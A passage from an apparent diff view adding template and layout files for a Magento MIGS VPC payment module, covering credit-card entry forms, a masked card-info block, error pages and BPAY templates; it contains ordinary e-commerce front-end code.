32 |
+
|
33 |
+
<migsvpc_server_response>
|
34 |
+
<!--<reference name="root">
|
35 |
+
<action method="setTemplate"><template>page/2columns-right.phtml</template></action>
|
36 |
+
</reference>-->
|
37 |
+
<reference name="content">
|
38 |
+
<block type="migsvpc/server_response" name="migsvpc_server_response" template="migsvpc/merchant/response.phtml"></block>
|
39 |
+
</reference>
|
40 |
+
</migsvpc_server_response>
|
41 |
+
|
42 |
+
<migsvpc_merchant_failure>
|
43 |
+
<reference name="root">
|
44 |
+
<action method="setTemplate"><template>page/2columns-right.phtml</template></action>
|
45 |
+
</reference>
|
46 |
+
<reference name="content">
|
47 |
+
<block type="migsvpc/merchant_failure" name="migsvpc_merchant_failure" template="migsvpc/merchant/failure.phtml"></block>
|
48 |
+
</reference>
|
49 |
+
</migsvpc_merchant_failure>
|
50 |
+
|
51 |
+
<migsvpc_merchantnew_failure>
|
52 |
+
<reference name="root">
|
53 |
+
<action method="setTemplate"><template>page/2columns-right.phtml</template></action>
|
54 |
+
</reference>
|
55 |
+
<reference name="content">
|
56 |
+
<block type="migsvpc/merchantnew_failure" name="migsvpc_merchantnew_failure" template="migsvpc/merchantnew/failure.phtml"></block>
|
57 |
+
</reference>
|
58 |
+
</migsvpc_merchantnew_failure>
|
59 |
+
</layout>
|
app/design/frontend/default/default/template/migsvpc/form.phtml
ADDED
@@ -0,0 +1,93 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category Fontis
|
18 |
+
* @package Fontis_EwayAu
|
19 |
+
* @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
?>
|
23 |
+
<script type="text/javascript">
|
24 |
+
Validation.creditCartTypes.JCB = [new RegExp('^(35[0-9]{14}|(2131|1800)[0-9]{11})$'), new RegExp('^([0-9]{3})?$'), true];
|
25 |
+
Validation.creditCartTypes.DICL = [new RegExp('^((300|305)[0-9]{11}|36[0-9]{12}|55[0-9]{14})$'), new RegExp('^([0-9]{3})?$'), false];
|
26 |
+
</script>
|
27 |
+
<fieldset class="form-list">
|
28 |
+
<?php $_code=$this->getMethodCode() ?>
|
29 |
+
<ul id="payment_form_<?php echo $_code ?>" style="display:none">
|
30 |
+
<li>
|
31 |
+
<div class="input-box">
|
32 |
+
<label for="<?php echo $_code ?>_cc_owner"><?php echo $this->__('Name on Card') ?> <span class="required">*</span></label><br/>
|
33 |
+
<input type="text" title="<?php echo $this->__('Name on Card') ?>" class="required-entry input-text" id="<?php echo $_code ?>_cc_owner" name="payment[cc_owner]" value="<?php echo $this->htmlEscape($this->getInfoData('cc_owner')) ?>"/>
|
34 |
+
</div>
|
35 |
+
</li>
|
36 |
+
<li>
|
37 |
+
<div class="generic-select-input input-box">
|
38 |
+
<p class="columnSelectedDeposit">--Select Card Type--</p>
|
39 |
+
<label for="<?php echo $_code ?>_cc_type"><?php echo $this->__('Credit Card Type') ?> <span class="required">*</span></label><br />
|
40 |
+
<select id="<?php echo $_code ?>_cc_type" name="payment[cc_type]" class="required-entry validate-cc-type-select">
|
41 |
+
<option value="">--<?php echo $this->__('Please Select') ?>--</option>
|
42 |
+
<?php $_ccType = $this->getInfoData('cc_type') ?>
|
43 |
+
<?php foreach ($this->getCcAvailableTypes() as $_typeCode => $_typeName): ?>
|
44 |
+
<option value="<?php echo $_typeCode ?>" <?php if($_typeCode==$_ccType): ?>selected="selected"<?php endif ?>><?php echo $_typeName ?></option>
|
45 |
+
<?php endforeach ?>
|
46 |
+
</select>
|
47 |
+
</div>
|
48 |
+
</li>
|
49 |
+
<li>
|
50 |
+
<div class="input-box">
|
51 |
+
<label for="<?php echo $_code ?>_cc_number"><?php echo $this->__('Credit Card Number') ?> <span class="required">*</span></label><br/>
|
52 |
+
<input type="text" id="<?php echo $_code ?>_cc_number" name="payment[cc_number]" title="<?php echo $this->__('Credit Card Number') ?>" class="input-text validate-cc-number validate-cc-type" value="" />
|
53 |
+
</div>
|
54 |
+
</li>
|
55 |
+
<li>
|
56 |
+
<div class="input-box">
|
57 |
+
<label for="<?php echo $_code ?>_expiration"><?php echo $this->__('Expiration Date') ?> <span class="required">*</span></label><br />
|
58 |
+
<div class="v-fix">
|
59 |
+
<select id="<?php echo $_code ?>_expiration" style="width:140px;" name="payment[cc_exp_month]" class="required-entry">
|
60 |
+
<?php $_ccExpMonth = $this->getInfoData('cc_exp_month') ?>
|
61 |
+
<?php foreach ($this->getCcMonths() as $k=>$v): ?>
|
62 |
+
<option value="<?php echo $k?$k:'' ?>" <?php if($k==$_ccExpMonth): ?>selected="selected"<?php endif ?>><?php echo $v ?></option>
|
63 |
+
<?php endforeach ?>
|
64 |
+
</select>
|
65 |
+
</div>
|
66 |
+
<div class="v-fix" style="padding-left:5px;">
|
67 |
+
<?php $_ccExpYear = $this->getInfoData('cc_exp_year') ?>
|
68 |
+
<select id="<?php echo $_code ?>_expiration_yr" style="width:103px;" name="payment[cc_exp_year]" class="required-entry">
|
69 |
+
<?php foreach ($this->getCcYears() as $k=>$v): ?>
|
70 |
+
<option value="<?php echo $k?$k:'' ?>" <?php if($k==$_ccExpYear): ?>selected="selected"<?php endif ?>><?php echo $v ?></option>
|
71 |
+
<?php endforeach ?>
|
72 |
+
</select>
|
73 |
+
</div>
|
74 |
+
</div>
|
75 |
+
</li>
|
76 |
+
<?php if($this->hasVerification()): ?>
|
77 |
+
<li>
|
78 |
+
<div class="input-box">
|
79 |
+
<label for="<?php echo $_code ?>_cc_cid"><?php echo $this->__('Card Verification Number') ?> <span class="required">*</span></label><br />
|
80 |
+
<div class="v-fix"><input type="text" title="<?php echo $this->__('Card Verification Number') ?>" class="required-entry input-text validate-cc-cvn" id="<?php echo $_code ?>_cc_cid" name="payment[cc_cid]" style="width:3em;" value="" /></div>
|
81 |
+
|
82 |
+
<a href="#" class="cvv-what-is-this"><?php echo $this->__('What is this?') ?></a>
|
83 |
+
</div>
|
84 |
+
</li>
|
85 |
+
<?php endif; ?>
|
86 |
+
</ul>
|
87 |
+
</fieldset>
|
88 |
+
<!--<script type="text/javascript">
|
89 |
+
Event.observe($('<?php echo $_code ?>_cc_number'), 'onkeyup', autoSelectCcType(ele));
|
90 |
+
function autoSelectCcType(ele) {
|
91 |
+
alert(ele.value);
|
92 |
+
}
|
93 |
+
</script>-->
|
app/design/frontend/default/default/template/migsvpc/info.phtml
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category Fontis
|
18 |
+
* @package Fontis_EwayAu
|
19 |
+
* @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
?>
|
23 |
+
<?php if($_info = $this->getInfo()): ?>
|
24 |
+
<?php echo $this->__('Name on the Card: %s', $this->htmlEscape($this->getInfo()->getCcOwner())) ?><br />
|
25 |
+
<?php echo $this->__('Credit Card Type: %s', $this->htmlEscape($this->getCcTypeName())) ?><br />
|
26 |
+
<?php echo $this->__('Credit Card Number: xxxx-%s', $this->htmlEscape($this->getInfo()->getCcLast4())) ?><br />
|
27 |
+
<?php echo $this->__('Expiration Date: %s/%s', $this->htmlEscape($this->getCcExpMonth()), $this->htmlEscape($this->getInfo()->getCcExpYear())) ?>
|
28 |
+
<?php else: ?>
|
29 |
+
|
30 |
+
<?php endif; ?>
|
app/design/frontend/default/default/template/migsvpc/merchant/form.phtml
ADDED
@@ -0,0 +1,86 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category Fontis
|
18 |
+
* @package Fontis_EwayAu
|
19 |
+
* @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
?>
|
23 |
+
<script type="text/javascript">
|
24 |
+
Validation.creditCartTypes.JCB = [new RegExp('^(35[0-9]{14}|(2131|1800)[0-9]{11})$'), new RegExp('^([0-9]{3})?$'), true];
|
25 |
+
Validation.creditCartTypes.DICL = [new RegExp('^((300|305)[0-9]{11}|36[0-9]{12}|55[0-9]{14})$'), new RegExp('^([0-9]{3})?$'), false];
|
26 |
+
</script>
|
27 |
+
<fieldset class="form-list">
|
28 |
+
<?php $_code=$this->getMethodCode() ?>
|
29 |
+
<ul id="payment_form_<?php echo $_code ?>" style="display:none">
|
30 |
+
<li>
|
31 |
+
<div class="input-box">
|
32 |
+
<label for="<?php echo $_code ?>_cc_owner"><?php echo $this->__('Name on Card') ?> <span class="required">*</span></label><br/>
|
33 |
+
<input type="text" title="<?php echo $this->__('Name on Card') ?>" class="required-entry input-text" id="<?php echo $_code ?>_cc_owner" name="payment[cc_owner]" value="<?php echo $this->htmlEscape($this->getInfoData('cc_owner')) ?>"/>
|
34 |
+
</div>
|
35 |
+
</li>
|
36 |
+
<li>
|
37 |
+
<div class="input-box">
|
38 |
+
<label for="<?php echo $_code ?>_cc_type"><?php echo $this->__('Credit Card Type') ?> <span class="required">*</span></label><br />
|
39 |
+
<select id="<?php echo $_code ?>_cc_type" name="payment[cc_type]" class="required-entry validate-cc-type-select">
|
40 |
+
<option value="">--<?php echo $this->__('Please Select') ?>--</option>
|
41 |
+
<?php $_ccType = $this->getInfoData('cc_type') ?>
|
42 |
+
<?php foreach ($this->getCcAvailableTypes() as $_typeCode => $_typeName): ?>
|
43 |
+
<option value="<?php echo $_typeCode ?>" <?php if($_typeCode==$_ccType): ?>selected="selected"<?php endif ?>><?php echo $_typeName ?></option>
|
44 |
+
<?php endforeach ?>
|
45 |
+
</select>
|
46 |
+
</div>
|
47 |
+
</li>
|
48 |
+
<li>
|
49 |
+
<div class="input-box">
|
50 |
+
<label for="<?php echo $_code ?>_cc_number"><?php echo $this->__('Credit Card Number') ?> <span class="required">*</span></label><br/>
|
51 |
+
<input type="text" id="<?php echo $_code ?>_cc_number" name="payment[cc_number]" title="<?php echo $this->__('Credit Card Number') ?>" class="input-text validate-cc-number validate-cc-type" value="" />
|
52 |
+
</div>
|
53 |
+
</li>
|
54 |
+
<li>
|
55 |
+
<div class="input-box">
|
56 |
+
<label for="<?php echo $_code ?>_expiration"><?php echo $this->__('Expiration Date') ?> <span class="required">*</span></label><br />
|
57 |
+
<div class="v-fix">
|
58 |
+
<select id="<?php echo $_code ?>_expiration" style="width:140px;" name="payment[cc_exp_month]" class="required-entry">
|
59 |
+
<?php $_ccExpMonth = $this->getInfoData('cc_exp_month') ?>
|
60 |
+
<?php foreach ($this->getCcMonths() as $k=>$v): ?>
|
61 |
+
<option value="<?php echo $k?$k:'' ?>" <?php if($k==$_ccExpMonth): ?>selected="selected"<?php endif ?>><?php echo $v ?></option>
|
62 |
+
<?php endforeach ?>
|
63 |
+
</select>
|
64 |
+
</div>
|
65 |
+
<div class="v-fix" style="padding-left:5px;">
|
66 |
+
<?php $_ccExpYear = $this->getInfoData('cc_exp_year') ?>
|
67 |
+
<select id="<?php echo $_code ?>_expiration_yr" style="width:103px;" name="payment[cc_exp_year]" class="required-entry">
|
68 |
+
<?php foreach ($this->getCcYears() as $k=>$v): ?>
|
69 |
+
<option value="<?php echo $k?$k:'' ?>" <?php if($k==$_ccExpYear): ?>selected="selected"<?php endif ?>><?php echo $v ?></option>
|
70 |
+
<?php endforeach ?>
|
71 |
+
</select>
|
72 |
+
</div>
|
73 |
+
</div>
|
74 |
+
</li>
|
75 |
+
<?php if($this->hasVerification()): ?>
|
76 |
+
<li>
|
77 |
+
<div class="input-box">
|
78 |
+
<label for="<?php echo $_code ?>_cc_cid"><?php echo $this->__('Card Verification Number') ?> <span class="required">*</span></label><br />
|
79 |
+
<div class="v-fix"><input type="text" title="<?php echo $this->__('Card Verification Number') ?>" class="required-entry input-text validate-cc-cvn" id="<?php echo $_code ?>_cc_cid" name="payment[cc_cid]" style="width:3em;" value="" /></div>
|
80 |
+
|
81 |
+
<a href="#" class="cvv-what-is-this"><?php echo $this->__('What is this?') ?></a>
|
82 |
+
</div>
|
83 |
+
</li>
|
84 |
+
<?php endif; ?>
|
85 |
+
</ul>
|
86 |
+
</fieldset>
|
app/design/frontend/default/default/template/migsvpc/merchant/response.phtml
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category Fontis
|
18 |
+
* @package Fontis_EwayAu
|
19 |
+
* @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
?>
|
23 |
+
<div class="page-head">
|
24 |
+
<h3><?php echo $this->__('Error occured') ?></h3>
|
25 |
+
</div>
|
26 |
+
<p><?php echo $this->getErrorMessage() ?>.</p>
|
27 |
+
<p><?php echo $this->__('Please <a href="%s">continue shopping</a>.', $this->getContinueShoppingUrl()) ?></p>
|
app/design/frontend/default/default/template/migsvpc/merchantnew/form.phtml
ADDED
@@ -0,0 +1,93 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category Fontis
|
18 |
+
* @package Fontis_EwayAu
|
19 |
+
* @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
?>
|
23 |
+
<script type="text/javascript">
|
24 |
+
Validation.creditCartTypes.JCB = [new RegExp('^(35[0-9]{14}|(2131|1800)[0-9]{11})$'), new RegExp('^([0-9]{3})?$'), true];
|
25 |
+
Validation.creditCartTypes.DICL = [new RegExp('^((300|305)[0-9]{11}|36[0-9]{12}|55[0-9]{14})$'), new RegExp('^([0-9]{3})?$'), false];
|
26 |
+
</script>
|
27 |
+
<fieldset class="form-list">
|
28 |
+
<?php $_code=$this->getMethodCode() ?>
|
29 |
+
<ul id="payment_form_<?php echo $_code ?>" style="display:none">
|
30 |
+
<li>
|
31 |
+
<div class="input-box">
|
32 |
+
<label for="<?php echo $_code ?>_cc_owner"><?php echo $this->__('Name on Card') ?> <span class="required">*</span></label><br/>
|
33 |
+
<input type="text" title="<?php echo $this->__('Name on Card') ?>" class="required-entry input-text" id="<?php echo $_code ?>_cc_owner" name="payment[cc_owner]" value="<?php echo $this->htmlEscape($this->getInfoData('cc_owner')) ?>"/>
|
34 |
+
</div>
|
35 |
+
</li>
|
36 |
+
<li>
|
37 |
+
<div class="generic-select-input input-box">
|
38 |
+
<p class="columnSelectedDeposit">--Select Card Type--</p>
|
39 |
+
<label for="<?php echo $_code ?>_cc_type"><?php echo $this->__('Credit Card Type') ?> <span class="required">*</span></label><br />
|
40 |
+
<select id="<?php echo $_code ?>_cc_type" name="payment[cc_type]" class="required-entry validate-cc-type-select">
|
41 |
+
<option value="">--<?php echo $this->__('Please Select') ?>--</option>
|
42 |
+
<?php $_ccType = $this->getInfoData('cc_type') ?>
|
43 |
+
<?php foreach ($this->getCcAvailableTypes() as $_typeCode => $_typeName): ?>
|
44 |
+
<option value="<?php echo $_typeCode ?>" <?php if($_typeCode==$_ccType): ?>selected="selected"<?php endif ?>><?php echo $_typeName ?></option>
|
45 |
+
<?php endforeach ?>
|
46 |
+
</select>
|
47 |
+
</div>
|
48 |
+
</li>
|
49 |
+
<li>
|
50 |
+
<div class="input-box">
|
51 |
+
<label for="<?php echo $_code ?>_cc_number"><?php echo $this->__('Credit Card Number') ?> <span class="required">*</span></label><br/>
|
52 |
+
<input type="text" id="<?php echo $_code ?>_cc_number" name="payment[cc_number]" title="<?php echo $this->__('Credit Card Number') ?>" class="input-text validate-cc-number validate-cc-type" value="" />
|
53 |
+
</div>
|
54 |
+
</li>
|
55 |
+
<li>
|
56 |
+
<div class="input-box">
|
57 |
+
<label for="<?php echo $_code ?>_expiration"><?php echo $this->__('Expiration Date') ?> <span class="required">*</span></label><br />
|
58 |
+
<div class="v-fix">
|
59 |
+
<select id="<?php echo $_code ?>_expiration" style="width:140px;" name="payment[cc_exp_month]" class="required-entry">
|
60 |
+
<?php $_ccExpMonth = $this->getInfoData('cc_exp_month') ?>
|
61 |
+
<?php foreach ($this->getCcMonths() as $k=>$v): ?>
|
62 |
+
<option value="<?php echo $k?$k:'' ?>" <?php if($k==$_ccExpMonth): ?>selected="selected"<?php endif ?>><?php echo $v ?></option>
|
63 |
+
<?php endforeach ?>
|
64 |
+
</select>
|
65 |
+
</div>
|
66 |
+
<div class="v-fix" style="padding-left:5px;">
|
67 |
+
<?php $_ccExpYear = $this->getInfoData('cc_exp_year') ?>
|
68 |
+
<select id="<?php echo $_code ?>_expiration_yr" style="width:103px;" name="payment[cc_exp_year]" class="required-entry">
|
69 |
+
<?php foreach ($this->getCcYears() as $k=>$v): ?>
|
70 |
+
<option value="<?php echo $k?$k:'' ?>" <?php if($k==$_ccExpYear): ?>selected="selected"<?php endif ?>><?php echo $v ?></option>
|
71 |
+
<?php endforeach ?>
|
72 |
+
</select>
|
73 |
+
</div>
|
74 |
+
</div>
|
75 |
+
</li>
|
76 |
+
<?php if($this->hasVerification()): ?>
|
77 |
+
<li>
|
78 |
+
<div class="input-box">
|
79 |
+
<label for="<?php echo $_code ?>_cc_cid"><?php echo $this->__('Card Verification Number') ?> <span class="required">*</span></label><br />
|
80 |
+
<div class="v-fix"><input type="text" title="<?php echo $this->__('Card Verification Number') ?>" class="required-entry input-text validate-cc-cvn" id="<?php echo $_code ?>_cc_cid" name="payment[cc_cid]" style="width:3em;" value="" /></div>
|
81 |
+
|
82 |
+
<a href="#" class="cvv-what-is-this"><?php echo $this->__('What is this?') ?></a>
|
83 |
+
</div>
|
84 |
+
</li>
|
85 |
+
<?php endif; ?>
|
86 |
+
</ul>
|
87 |
+
</fieldset>
|
88 |
+
<!--<script type="text/javascript">
|
89 |
+
Event.observe($('<?php echo $_code ?>_cc_number'), 'onkeyup', autoSelectCcType(ele));
|
90 |
+
function autoSelectCcType(ele) {
|
91 |
+
alert(ele.value);
|
92 |
+
}
|
93 |
+
</script>-->
|
app/design/frontend/default/default/template/migsvpc/merchantnew/mark.phtml
ADDED
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*/
|
5 |
+
?>
|
6 |
+
<p class="sp-methods-img">
|
7 |
+
<img title="" alt="" src="<?php echo $this->getSkinUrl('images/icon-visa.gif');?>"> <img title="" alt="" src="<?php echo $this->getSkinUrl('images/icon-master-card.gif');?>">
|
8 |
+
</p>
|
app/design/frontend/default/default/template/migsvpc/merchantnew/response.phtml
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category Fontis
|
18 |
+
* @package Fontis_EwayAu
|
19 |
+
* @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
?>
|
23 |
+
<div class="page-head">
|
24 |
+
<h3><?php echo $this->__('Error occured') ?></h3>
|
25 |
+
</div>
|
26 |
+
<p><?php echo $this->getErrorMessage() ?>.</p>
|
27 |
+
<p><?php echo $this->__('Please <a href="%s">continue shopping</a>.', $this->getContinueShoppingUrl()) ?></p>
|
app/design/frontend/default/default/template/migsvpc/method/payment/bpay/form.phtml
ADDED
@@ -0,0 +1,32 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis Australia Extension
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* @category Fontis
|
16 |
+
* @package Fontis_Australia
|
17 |
+
* @author Chris Norton
|
18 |
+
* @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
|
19 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
20 |
+
*/
|
21 |
+
?>
|
22 |
+
<fieldset class="form-list">
|
23 |
+
<ul id="payment_form_<?php echo $this->getMethodCode(); ?>" style="display:none">
|
24 |
+
<li>
|
25 |
+
<?php if ($this->getMethod()->getMessage()): ?>
|
26 |
+
<div class="input-box">
|
27 |
+
<p><?php echo $this->getMethod()->getMessage(); ?></p>
|
28 |
+
</div>
|
29 |
+
<?php endif; ?>
|
30 |
+
</li>
|
31 |
+
</ul>
|
32 |
+
</fieldset>
|
app/design/frontend/default/default/template/migsvpc/method/payment/bpay/info.phtml
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis Australia Extension
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* @category Fontis
|
16 |
+
* @package Fontis_Australia
|
17 |
+
* @author Chris Norton
|
18 |
+
* @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
|
19 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
20 |
+
*/
|
21 |
+
?>
|
22 |
+
<?php if($this->getParentBlock() && $this->getParentBlock()->getModuleName() == 'Mage_Checkout'): ?>
|
23 |
+
<p><?php echo $this->getMethod()->getTitle() ?></p>
|
24 |
+
<?php else: ?>
|
25 |
+
<?php echo Mage::helper('australia/bpay')->bpayInfoBlock($this->getMethod()->getBillerCode(), $this->getMethod()->getRef()); ?>
|
26 |
+
<?php endif; ?>
|
app/design/frontend/default/default/template/migsvpc/method/payment/bpay/success.phtml
